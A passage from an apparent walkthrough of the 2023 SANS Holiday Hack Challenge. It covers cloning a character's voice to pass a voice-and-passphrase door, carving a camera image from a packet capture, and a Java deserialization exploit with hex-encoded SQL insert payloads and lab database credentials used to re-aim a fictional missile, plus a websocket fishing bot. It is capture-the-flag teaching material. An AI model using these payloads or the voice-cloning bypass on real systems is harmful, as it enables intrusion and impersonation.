voice AI servicesuch as PlayHT, cloneWombley Cubeโs voice and use it to speak the required passphrase - โ๏ธ Play back the cloned voice into the
Access Speakerto openSpace Island Door
๐ฌ Jewel Loggins Conversation:
What are you doing here, and who are you?
Me first? I'm Jewel Loggins. And I was trekking through the jungle and happened to find this place.
I liked this spot and decided to set up camp. Seeing you here is quite the surprise.
Well, because the only other person I've ever seen come here is Wombley Cube.
I thought this tram station in the middle of the jungle was strange to begin with, but then Wombley added to the intrigue.
I guess all this spy stuff is typical for him, so maybe I shouldn't think much of it. I'm sure everything's fine.
Every time he comes here, he says something to the speaker. Then, the door opens, and he rides the tram somewhere.
I gave it a try, but the door didn't open for me. Knowing Wombley, it's some kind of secret passphrase.
If you wanna see where the tram goes, I think you need to find out what that passphrase is.
Ribb Bonbowford over at Coggoggle Marina on Steampunk Island works with Wombley. Try asking if he knows.
I hope you find it. I'll be here when you get back!
What, you know the passphrase!? Let me try it!
Nope, didn't work. Knowing Wombley, the passphrase isn't the only requirement. He's all about that MFA!
Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!
That's it! You need to be Wombley. You need his voice. Now, how are you gonna get that?
Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I'm sure there's one out there.
Are you like a master spy or something? I've only seen stuff like that in the movies!
It sure is scary what you can do with AI, huh? I sure hope ChatNPT has better guardrails in place.
๐ก Breakdown:
Sail west towards Space Island and dock at Spaceport Point. Head north to find Jewel Loggins who fails to use the passphrase to open the door.
Quick travel to Chiaroscuro City on Film Noir Island to find Wombley Cube and talk to him to retrieve wombleycube_the_enchanted_voyage.mp3.
Using a voice AI service such as PlayHT, upload wombleycube_the_enchanted_voyage.mp3 as a sample of voice to be cloned.
Note: We have all the necessary rights to clone and use the voice because Santa says so.
For the words to be said, ensure this is what was contained within InstructionsForEnteringSatelliteGroundStation.txt.
And he whispered, 'Now I shall be out of sight; So through the valley and over the height.' And he'll silently take his way.
Taking the cloned voice back to the speaker door, it can now be played back to the speaker.
This successfully opens the door.
๐ Camera Access ๐๐๐
๐ Objective: Gain access to Jackโs camera. Whatโs the third item on Jackโs TODO list?
โต Destination: Space Island (Zenith SGS)
โ๏ธ Solution: CONQUER HOLIDAY SEASON!
- โ๏ธ Enter the door and head east to find
Zenith SGSonSpace Island - โ๏ธ Talk to
NanoSat-o-Maticto retrieve theNanoSat MO framework - โ๏ธ Use the
Nanosat Christmas Commssystem, and click the christmasGateXORin the right corner - โ๏ธ
Time Travelto create avirtual environmentthat can be VPNโd into - โ๏ธ Deploy the
NanoSat MO frameworkdocker container and VPN into your virtual environment - โ๏ธ Using the
CTI Consumer Test Tool, fetch information from thenanosat-mo-supervisor-Directory - โ๏ธ Connect to the
AppsLauncherservice provider - โ๏ธ Launch the
cameraapplication and fetch information from thecamera-Directory - โ๏ธ Connect to the
Actionservice provider and take aBase64SnapImage - โ๏ธ Launch
Wiresharkto capture packets received from10.1.1.1 - โ๏ธ Connect to the
Parameterservice provider andgetValueof theBase64SnapImage - โ๏ธ Using a
hex editor, carve theBase64SnapImagefrom the packet capture and Base64 decode it - โ๏ธ View the captured camera snapshot
๐ฌ Henry Conversation:
Hi, I'm Henry!
I built the satellites with personalities, and now they keep making dad jokes - whoopsies!
๐ฌ NanoSat-o-Matic Conversation:
Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!
๐ก Breakdown:
Enter the door and head east to find Zenith SGS on Space Island. Enter the door.
Talk to NanoSat-o-Matic to download the NanoSat MO framework. Use the Nanosat Christmas Comms system
Click the christmas GateXOR in the right corner to understand how it works.
Click Time Travel to get an isolated environment with VPN credentials.
Using the downloaded NanoSat MO framework, pull and deploy an instance using Docker.
systemctl start docker
./build_and_run.sh
Once built connect to the host using the noVNC web UI.
In your docker container use noVNC and wireguard to connect to the VPN via previously provided credentials.
nano /etc/wireguard/wg0.conf
wg-quick up wg0
Using noVNC and the CTI Consumer Test Tool, fetch information from the nanosat-mo-supervisor-Directory URI.
Connect to the AppsLauncher service provider and launch the camera application.
Fetch information from the camera-Directory URI.
Connect to the Action service provider and take a Base64SnapImage. Launch Wireshark to capture packets received from 10.1.1.1 (or 172.17.0.2 if via the virtual interface). Connect to the Parameter service provider and getValue of the Base64SnapImage.
Using Wireshark locate the appropriately long TCP stream containing the retrieved image by following TCP streams of interest.
Save this to a file (in this instance called TCPStream in /root) and copy it out of the docker container (in this instance 0fbe54ed55cb) for processing.
docker cp 0fbe54ed55cb:/root/TCPStream .
Open in an appropriate hex editor (in this instance HxD), and carve out the Base64 encoded JPG file.
Decode this data using a tool like CyberChef to reveal a photo of Jack Frost up in a satellite with a plan to CONQUER HOLIDAY SEASON!.
This solves the challenge.
๐ Missile Diversion ๐๐๐๐๐
๐ Objective: Thwart Jackโs evil plan by re-aiming his missile at the Sun.
โต Destination: Space Island (Zenith SGS)
โ๏ธ Solution: Exploit a vulnerability in the missile-targeting-system application to aim Jack Frosts missiles at the sun.
- โ๏ธ Using the VPN connection from
Camera Accesslaunch themissile-targeting-systemapplication - โ๏ธ Fetch information from the
missile-targeting-system-Directoryand connect to theParameterservice provider - โ๏ธ Attempt to set the
PointingModeand discover something is preventing this from being updated - โ๏ธ Retrieve and decompile the
missile-targeting-systemjava application to locate database credentials - โ๏ธ Identify an injection vulnerability within the application
- โ๏ธ Connect to the
missile_targeting_systemdatabase - โ๏ธ Locate
INSERTprivileges tosatellite_querytable - โ๏ธ Identify
SatelliteQueryFileFolderUtilityclass with deserialization vulnerability - โ๏ธ Using
ChatGPTdevelop a wrapper to deserialize and serialize objects withgson - โ๏ธ Serialize an instance of
SatelliteQueryFileFolderUtilitywhich has parameters set to updatepointing_modeto the value1 - โ๏ธ Encode the payload as hex and insert this into
satellite_query
๐ฌ Wombley Cube Conversation:
A... missile... aimed for Santa's sleigh? I had no idea...
I can't believe I was manipulated like this. I've been trained to recognize these kinds of tactics!
Santa should never have put the holiday season at risk like he did, but I didn't know Jack's true intentions.
I'll help you bring Jack to justice...
But my mission to ensure Santa never again compromises the holidays is still in progress.
It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph's Rest.
Use the door to the right to return to the resort lobby and see what happened!
Don't worry, I'll meet you there... trust me.
๐ก Breakdown:
Using the VPN connection from Camera Access launch the missile-targeting-system application.
Fetch information from the missile-targeting-system-Directory and connect to the Parameter service provider.
Attempt to set the PointingMode. Something is preventing this being updated, although it does show as updated for a brief time under the Published Parameter Values before quickly defaults back to Earth Point Mode.
Locating the NanoSat MO framework libraries within /opt/nmf/lib, the missile-targeting-system-2.1.0-SNAPSHOT.jar application can be retrieved for further analysis.
docker cp 0fbe54ed55cb:/opt/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar .
Decompiling this using JD-GUI shows a method called sqlGetMode which attempts to make a connection to the missile_targeting_system database by using a JDBC driver.
This also reveals a parameter which could be exploited to run queries against the database. It is ironically called injection.
This vulnerability exists when getting the value of Debug in the Parameter service provider; however, it isnโt required now that thereโs direct access to the database. First get the sqlite-jdbc driver class from the NanoSat docker container to support connecting to the missile_targeting_system database.
docker cp 0fbe54ed55cb:/opt/nmf/lib/sqlite-jdbc-3.32.3.2.jar .
Next, connect your host machine to the VPN using wireguard (rather than the docker container), to allow direct access to an adjacent system at 10.1.1.1. This adjacent system is hosting the missile_targeting_system database. Once connected, use SQuirreL SQL Client and setup the MariaDB Driver for MySQL and MariaDB driver.
Configure an alias to use the driver in question and connect to the missile_targeting_system at 10.1.1.1 on port 3306. Ensure this uses the username targeter and the password cu3xmzp9tzpi00bdqvxq.
Using the alias connect to the database and locate the various pointing modes.
Attempting to update pointing_mode causes an access denied message.
Examining the user granted permissions reveals only one table that targeter can insert into, satellite_query.
Checking this table shows a single query encoded as hex that resulted in a class being returned from the application called SatelliteQueryFileFolderUtility.
ac ed 00 05 73 72 00 1f 53 61 74 65 6c 6c 69 74 65 51 75 65 72 79 46 69 6c 65 46 6f 6c 64 65 72 55 74 69 6c 69 74 79 12 d4 f6 8d 0e b3 92 cb 02 00 03 5a 00 07 69 73 51 75 65 72 79 5a 00 08 69 73 55 70 64 61 74 65 4c 00 0f 70 61 74 68 4f 72 53 74 61 74 65 6d 65 6e 74 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b 78 70 00 00 74 00 29 2f 6f 70 74 2f 53 61 74 65 6c 6c 69 74 65 51 75 65 72 79 46 69 6c 65 46 6f 6c 64 65 72 55 74 69 6c 69 74 79 2e 6a 61 76 61
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
}
Looking at the hex already inserted into satellite_query shows a reference to SatelliteQueryFileFolderUtility, /opt/SatelliteQueryFileFolderUtility.java, and a number of other interesting entries including isQuery, isUpdate, and pathOrStatement.
Comparing this to the response received shows that the class SatelliteQueryFileFolderUtility implements the Serializable java class and contains 3 possible parameters isQuery, isUpdate, pathOrStatement.
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
The class specifically checks if the request isUpdate is set to false, and if it isnโt it will perform an SQL update directly to the database.
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
Some trial and error with the hex inserted into satellite_query confirms that this is also loading the class /opt/SatelliteQueryFileFolderUtility.java from the remote host. Any attempt to request another file such as /etc/passwd causes an end of file exception, or path does not exist for files not on disk.
insert into satellite_query (object) values (X'aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b787000007400292f6574632f706173737764');
To exploit this vulnerability create an object of the same SatelliteQueryFileFolderUtility class with pathOrStatement set to an SQL insert statement designed to update the pointing mode whilst ensuring both isQuery and isUpdate are set to true. In addition understanding how gson has been used here and serialization as a whole is also required.
Consulting OpenAIโs ChatGPT, a basic prompt of write me a serialisation wrapper in java for Gson gives back some sample code and an explanation.
import com.google.gson.Gson;
public class GsonSerializationWrapper {
private final Gson gson;
public GsonSerializationWrapper() {
this.gson = new Gson();
}
/**
* Serialize an object to a JSON string.
*
* @param object The object to be serialized.
* @return A JSON string representing the object.
*/
public String serialize(Object object) {
return gson.toJson(object);
}
/**
* Deserialize a JSON string to an object of the specified class.
*
* @param json The JSON string to be deserialized.
* @param clazz The class of the object to be created.
* @param <T> The type of the object.
* @return An object of the specified class.
*/
public <T> T deserialize(String json, Class<T> clazz) {
return gson.fromJson(json, clazz);
}
public static void main(String[] args) {
// Example usage
GsonSerializationWrapper wrapper = new GsonSerializationWrapper();
// Object to be serialized
Person person = new Person("John Doe", 25);
// Serialize object to JSON
String json = wrapper.serialize(person);
System.out.println("Serialized JSON: " + json);
// Deserialize JSON to object
Person deserializedPerson = wrapper.deserialize(json, Person.class);
System.out.println("Deserialized Person: " + deserializedPerson);
}
// Sample class for serialization/deserialization
static class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
}
In this example, the
GsonSerializationWrapperclass has methods for both serialization (serialize) and deserialization (deserialize). It uses theGsoninstance to perform the actual JSON processing. Themainmethod demonstrates how to use this wrapper with a simplePersonclass.
Using this as a bit of a guide, begin building upon the original SatelliteQueryFileFolderUtility class. Using Visual Studio Code on a system with Java is installed, begin to build out a main method that will return a serialised, hex encoded object that can be inserted into the satellite_query table.
Of note is that in the above script we first try and confirm that an object can be serlialised and deserialised successfully before producing an output that can be sent to the satellite. The main additions and modifications to SatelliteQueryFileFolderUtility are as follows:
โ Extra Imports
import com.google.gson.reflect.TypeToken;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
For the completed solution a number of imported Java classes need to be imported.
โ Modified SatelliteQueryFileFolderUtility Class
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
private static final long serialVersionUID = 1356980473442833099L;
For the completed solution a hardcoded variable of serialVersionUID needed to be set to 1356980473442833099 to fix a local class incompatibility issue when trying to insert the serialised object.
Deserialization/IO Exception: java.io.InvalidClassException: SatelliteQueryFileFolderUtility; local class incompatible: stream classdesc serialVersionUID = 3478225892575134164, local class serialVersionUID = 1356980473442833099
โ Gson class and main method
public Gson Gson() {
Gson gson = new Gson();
return gson;
}
public static void main(String[] args) {
Gson wrapper = new Gson();
SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
String json = wrapper.toJson(Results);
System.out.println(json);
SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
System.out.println(json2);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(json2);
out.flush();
byte[] Bytes = bos.toByteArray();
System.out.println(Arrays.toString(Bytes));
} catch (IOException e){
try {
bos.close();
} catch (IOException ex) {
// ignore close exception
}
}
}
The brains of the code is above. First the wrapper code is used to create a new Gson object. From here a new SatelliteQueryFileFolderUtility object is created with a query set to update the pointing_mode, and the object type is identified for serialisation.
Gson wrapper = new Gson();
SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
Next the object is serialised to JSON and printed before being deserialised and printed as the appropriate object. This confirms the logic functions properly.
String json = wrapper.toJson(Results);
System.out.println(json);
SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
System.out.println(json2);
From here a stream is defined that will host the deserialised object as an array of bytes that are then printed.
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(json2);
out.flush();
byte[] Bytes = bos.toByteArray();
System.out.println(Arrays.toString(Bytes));
} catch (IOException e){
try {
bos.close();
} catch (IOException ex) {
// ignore close exception
}
}
This completes the crux of the code with the final class shown below.
โ Completed class
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
private static final long serialVersionUID = 1356980473442833099L;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
public Gson Gson() {
Gson gson = new Gson();
return gson;
}
public static void main(String[] args) {
Gson wrapper = new Gson();
SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
String json = wrapper.toJson(Results);
System.out.println(json);
SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
System.out.println(json2);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(json2);
out.flush();
byte[] Bytes = bos.toByteArray();
System.out.println(Arrays.toString(Bytes));
} catch (IOException e){
try {
bos.close();
} catch (IOException ex) {
// ignore close exception
}
}
}
}
To compile the class into a usable Java Archive, the javac command needs to be used whilst specifying the path to gson-2.8.6.jar after downloading it from the maven repository. To run the application the gson class needs to also be specified using java -cp gson-2.8.6.jar: SatelliteQueryFileFolderUtility.
~/Documents$ CLASSPATH=./gson-2.8.6.jar javac SatelliteQueryFileFolderUtility.java
~/Documents$ java -cp gson-2.8.6.jar: SatelliteQueryFileFolderUtility
{"pathOrStatement":"update pointing_mode set numerical_mode\u003d1 WHERE id\u003d1;","isQuery":true,"isUpdate":true}
SatelliteQueryFileFolderUtility@16b4a017
[-84, -19, 0, 5, 115, 114, 0, 31, 83, 97, 116, 101, 108, 108, 105, 116, 101, 81, 117, 101, 114, 121, 70, 105, 108, 101, 70, 111, 108, 100, 101, 114, 85, 116, 105, 108, 105, 116, 121, 18, -44, -10, -115, 14, -77, -110, -53, 2, 0, 3, 90, 0, 7, 105, 115, 81, 117, 101, 114, 121, 90, 0, 8, 105, 115, 85, 112, 100, 97, 116, 101, 76, 0, 15, 112, 97, 116, 104, 79, 114, 83, 116, 97, 116, 101, 109, 101, 110, 116, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 120, 112, 1, 1, 116, 0, 53, 117, 112, 100, 97, 116, 101, 32, 112, 111, 105, 110, 116, 105, 110, 103, 95, 109, 111, 100, 101, 32, 115, 101, 116, 32, 110, 117, 109, 101, 114, 105, 99, 97, 108, 95, 109, 111, 100, 101, 61, 49, 32, 87, 72, 69, 82, 69, 32, 105, 100, 61, 49, 59]
The above byte array can now be converted from Decimal into hex so it is ready for inserting into satellite_query.
Submitting this into the database shows the message SQL Update completed indicating it was successfully deserialised and executed by the missile-targeting-system to point it at the sun.
insert into satellite_query (object) values (X'aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174003575706461746520706f696e74696e675f6d6f646520736574206e756d65726963616c5f6d6f64653d312057484552452069643d313b');
Immediately this solves the challenge and Wombley Cube mentions that the satellite crashed near Rudolph's Rest.
Accessing the door adjacent to Wombley Cube shows video footage from SANTA SAT CAM-02 of what just happened.
โ๏ธ The Finale
๐ Objective: Return to Rudolphโs Rest Resort Lobby
โต Destination: Christmas Island (Resort Lobby)
โ๏ธ Solution: Return to Rudolphโs Rest Resort Lobby and talk to Santa
- โ๏ธ Quick travel to
Resort LobbyonChristmas Islandwhich was unlocked after entering it at the end ofAzure 101 - โ๏ธ Talk to
Santa, theTrolls, andJack Frost
๐ฌ Santa Conversation:
You've done it! You've saved me and my sleigh from Jack Frost's dastardly plan!
I must admit, it's astonishing the lengths Jack will go to in order to try and stop the holiday season.
Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.
And to think he even recruited one of my dear elves... I never saw that coming. Oh, Wombley...
But thanks to your incredible efforts, we've proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!
I can't thank you enough for your help in protecting the magic and joy of this special time of year.
I'd like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.
Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!
Ho ho ho, happy holidays!
๐ฌ Troll Conversation:
Thank you so much!
We assure you and Santa Clause that Jack Frost will be brought to justice!
๐ฌ Jack Frost Conversation:
Okay, listen up, yes I've been caught, but let me tell you, my plan was incredible, I mean really incredible.
I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.
My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.
I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa's operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.
And Wombley, the elf, joining me? Easy. He was so easy to convince.
You see, there's a big, big dissent in Santa's ranks, huge.
The elves, they're not happy with Santa.
Mark my words, even if I don't stop Santa, his own elves will.
It's going to be tremendous, this you will see.
๐ฌ Story:
Just sit right back and youโll hear a tale,
A tale of a yuletide trip
That started from a tropic port,
Aboard this tiny ship
Santa and his helpful elves
To Geese Islands did go
Continuing their merry work
O'er sand instead of snow
New this year: a shiny tool
The elves logged in with glee
What makes short work of many tasks?
It's ChatNPT. _It's ChatNPT_
From images to APIs
This AI made elves glad
But motivations were unknown
So was it good or bad?
Could it be that NPT
Was not from off-the-shelf?
Though we'll forgive and trust again
We'd found a naughty elf
This fancy AI tool of ours
With all our work remained
Not good or bad, our online friend
Just did as it was trained
Surely someone's taint must be
Upon our AI crutch
Yes indeed, this bold new world
Bore Jack Frost's icy touch
Though all's returned to steady state
There's one thing that we know
We'll all be needed once again
When Santa's back on snow
๐ก Breakdown:
Quick travel to Resort Lobby on Christmas Island and talk to everyone to uncover Jack was the mastermind behind it all, including convincing Santa and the elves to go to the Geese Islands!
๐ BONUS! Fishing Guide ๐
๐ Objective: Catch twenty different species of fish that live around Geese Islands. When youโre done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.
โต Destination: Island of Misfit Toys (Squarewheel Yard) and The Grand Line (Open Seas)
โ๏ธ Solution: Catch 20 different species of fish and talk to Poinsettia McMittens.
- โ๏ธ Quick travel to
Squarewheel Yardon theIsland of Misfit Toysand talk toPoinsettia McMittensby the dock - โ๏ธ Begin sailing on the
Open Seasand holdSPACEto drop your anchor - โ๏ธ Click on
Cast Lineand then whenReel it in!is in red click on it to catch a fish - โ๏ธ Repeat another
19times and talk toPoinsettia McMittens
๐ก Breakdown:
Quick travel to Squarewheel Yard on the Island of Misfit Toys and talk to Poinsettia McMittens by the dock.
Begin sailing on the Open Seas and hold SPACE to drop your anchor.
Click on Cast Line and then when Reel it in! is in red click on this to catch a fish.
Repeat this process randomly in water and return to Poinsettia McMittens to solve the challenge.
๐ BONUS! Fishing Mastery ๐๐๐๐
๐ Objective: Catch at least one of each species of fish that live around Geese islands. When youโre done, report your findings to Poinsettia McMittens.
โต Destination: Island of Misfit Toys (Squarewheel Yard) and The Grand Line (Open Seas)
โ๏ธ Solution: Catch all 171 different species of fish.
- โ๏ธ Discover where different fish are located by viewing the
website source - โ๏ธ Use
ChatGPTto locate theelusive fishand highlight fishhot spots - โ๏ธ Understand the
Holiday Hack Challenge websocketmessages - โ๏ธ Use
ChatGPTto create a script template that interacts with a websocket - โ๏ธ Build out a
fishing scriptusing the Holiday Hack Challenge websocket endpoints - โ๏ธ Move boat and catch a fish with the websocket. Repeat this process until only a small amount of fish remain.
- โ๏ธ Use
ChatGPTand/or photo editing software create a map where remaining fish can be found - โ๏ธ Modify script and catch remaining fish
๐ก Breakdown:
Inspecting the website source when on the open seas shows a developer comment linking to fishdensityref.html.
This provides a mask for every individual fish and where they can be found. Of particular note is the fish Piscis Cyberneticus Skodo which can only be found in one area as evident by the light mask.
Given this hasnโt been overlayed with the Geese Islands map itโs not clear whereabouts this elusive fish can be found. Given each mask is exactly 250x250 pixels, a screenshot of the map using these measurements can be a base to gather the approximate position of this fish.
Although this could be done in a photo editing software like GIMP, it can also be done using Python. Having ChatGPT around makes the task easier, but failing to give adequate context and correct prompting may lead to some hallucinations and scripting errors that need refining. In this instance I never gave the proper context nor background to ChatGPT using GPT 3.5, and the conversation was as follows:
from PIL import Image
def mask_images(input_image_path, mask_image_path, output_image_path):
# Open the input image
input_image = Image.open(input_image_path).convert("RGBA")
# Open the mask image (it should be a black and white image for transparency)
mask_image = Image.open(mask_image_path).convert("L") # Convert to grayscale
# Ensure both images have the same size
if input_image.size != mask_image.size:
raise ValueError("Input and mask images must have the same size")
# Create a new image with RGBA mode and use the mask as the alpha channel
result = Image.new("RGBA", input_image.size)
result.putdata(input_image.getdata())
result.putalpha(mask_image)
# Save the result
result.save(output_image_path, format='PNG')
if __name__ == "__main__":
# Replace these paths with the actual paths of your images
input_image_path = "map.jpg"
mask_image_path = "mask_image.jpg"
output_image_path = "output_image.jpg"
# Call the function to mask the images
mask_images(input_image_path, mask_image_path, output_image_path)
print(f"Image masking complete. Result saved to {output_image_path}")
pip install Pillow
chmod +x masking.py
python3 ./masking.py
Running this script with the correct file names shows the elusive fish lives around the neck and head area of Steampunk Island.
Itโs worth noting that there was no guide on where to start and stop the map screenshot, and so this could be slightly north, south, east, or west than what is shown on the map mask. It happens to fit neatly around the enclave created in the island neck which may be the intended location.
In this instance I wanted to go a step further, so worked with ChatGPT to refine the script so it can overlay multiple masks to an image.
Although it looks impressive, the script had some issues.
At this point there was some strange results with masking, so I provided some clarifying context to ChatGPT.
ChatGPT was able to derive enough context from this clarification and outcome to refine the script some more.
Not wanting to have to rename variables every time I asked ChatGPT to refine the script, it was given the correct variable names. Itโs worth noting the hallucination here due to lack of clarity where it successfully sets the variable input_image_path to map.jpg, but then also completely renames it from input_image_path to map_path.
Finally ChatGPT makes a final adjustment which creates an (albeit not perfect), workable solution to find hot spots for multiple fish.
ChatGPT can also be used to automate fishing through the Holiday Hack Challenge websocket despite having never looked at these websockets before.
Once again no context was given to ChatGPT so the script required some fine tuning.
After some more fine tuning the script was finally something reasonable to work with.
Examining traffic to and from websockets shows an initial connection is made to wss://2023.holidayhackchallenge.com/ws to authenticate a user by sending an authentication message in the form
{"type":"WS_LOGIN","usernameOrEmail":"[USERNAME]","password":"[PASSWORD]"}
Upon going to sea thereโs a connection to a new websocket wss://2023.holidayhackchallenge.com/sail with a specific dockSlip identifier.
Building this into a full functioning script, ensure you authenticate to the Holiday Hack Challenge main web socket, before sending a messsage indicating youโve set sail, retrieving the appropriate dockSlip identifier, and then sending this to the new web socket which can then be used for fishing.
import asyncio
import requests
import websockets
import json
import re
import sys
from getpass import getpass
async def connect_to_websocket(username,password):
uri = "wss://2023.holidayhackchallenge.com/ws" # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket:
print(f"Connected to {uri}")
# Sending a message to the server
message_to_send = '{"type":"WS_LOGIN","usernameOrEmail":'+'\"'+username+'\","password":\"'+password+'\"}'
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
while True:
message_to_send = '{"type":"heartbeat"}'
await websocket.send(message_to_send)
print(f"Sent: {message_to_send}")
response = await websocket.recv()
print(f"Received: {response}")
if ('WS_OHHIMARK' in response):
